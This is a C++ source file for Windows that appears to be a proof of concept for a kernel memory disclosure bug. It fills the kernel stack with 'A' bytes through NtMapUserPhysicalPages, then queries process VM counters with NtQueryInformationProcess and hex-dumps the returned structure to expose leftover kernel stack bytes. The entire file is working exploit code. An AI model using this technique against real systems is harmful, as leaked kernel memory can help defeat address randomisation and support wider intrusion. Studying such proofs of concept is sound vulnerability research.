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#include <Windows.h>
#include <winternl.h>
#include <cstdio>

#define ProcessVmCounters ((PROCESSINFOCLASS)3)

typedef struct _VM_COUNTERS_EX {
  SIZE_T PeakVirtualSize;
  SIZE_T VirtualSize;
  ULONG PageFaultCount;
  SIZE_T PeakWorkingSetSize;
  SIZE_T WorkingSetSize;
  SIZE_T QuotaPeakPagedPoolUsage;
  SIZE_T QuotaPagedPoolUsage;
  SIZE_T QuotaPeakNonPagedPoolUsage;
  SIZE_T QuotaNonPagedPoolUsage;
  SIZE_T PagefileUsage;
  SIZE_T PeakPagefileUsage;
  SIZE_T PrivateUsage;
} VM_COUNTERS_EX;

typedef struct _VM_COUNTERS_EX2 {
  VM_COUNTERS_EX CountersEx;
  SIZE_T PrivateWorkingSetSize;
  ULONGLONG SharedCommitUsage;
} VM_COUNTERS_EX2, *PVM_COUNTERS_EX2;

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  VM_COUNTERS_EX2 counters;
  ZeroMemory(&counters, sizeof(counters));

  SprayKernelStack();

  DWORD ReturnLength;
  NTSTATUS st = NtQueryInformationProcess(GetCurrentProcess(), ProcessVmCounters, &counters, sizeof(counters), &ReturnLength);
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationProcess failed, %x\n", st);
    return 1;
  }

  PrintHex((PBYTE)&counters, ReturnLength);

  return 0;
}